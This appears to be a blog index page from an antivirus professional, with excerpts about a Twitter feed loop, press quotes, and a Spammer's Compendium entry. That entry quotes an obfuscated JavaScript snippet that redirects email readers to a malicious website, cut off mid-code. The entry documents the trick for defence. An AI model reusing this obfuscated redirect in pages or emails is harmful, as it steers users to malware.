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Tweet in an infinite loop (Update)

My account was hit by what appears to be a loop in the Twitter system. I am not sure yet of what has happened, but I am working on it. Apparently, Google Feedburner or Google Adsense is taking my RSS feed from Twitter and is republishing everything on Twitter. This is the effect sorinmustaca Sorin […]

Spam & Phishing

New Spammer’s Compendium Entry:The Responsibility Transfer

Source: http://www.virusbtn.com/resources/spammerscompendium/responsibility.xml The Responsibility Transfer UO!Responsibility!JavaScript 31 August 2010 Description Using an attached HTML document that contains almost the same page as the HTML-part of the email body, but uses obfuscated JavaScript to redirect the user to a malicious website. Submitted by Sorin Mustaca. Example <script>function r(){};fQ=false;d="";r.prototype = {p : function() { this.j='';var pN=54899;s=false;this.k="k";this.kH=22581;c='';l=64422; document.location.href=String("htt"+"p:/"+"/tr"+"ace"+"boo"+"k.u"+"s/1"+".htOnc".substr(0,3)+"ml"); […]

Antivirus quoted

Quoted (again) on Softpedia.com

The source of the article ist the statistics for July, published in the techblog: “Because of the holiday season, many people started to buy games and spend more time in the social media websites, so the increase in attacking such web sites comes quite naturally,” Sorin Mustaca, manager of international software development at Avira, noted.

Antivirus General

Quoted in USA Today

http://www.usatoday.com/tech/products/software/2010-08-09-apple09_ST_N.htm?loc=interstitialskip Somewhere in the middle of the article: Apple’s problem is singular. The company has made a big deal about hiding technical details of iOS, allowing only approved Web apps to tie in. This tight control initially made it easier to keep iOS secure. But now Apple may have to share iOS coding with anti-virus […]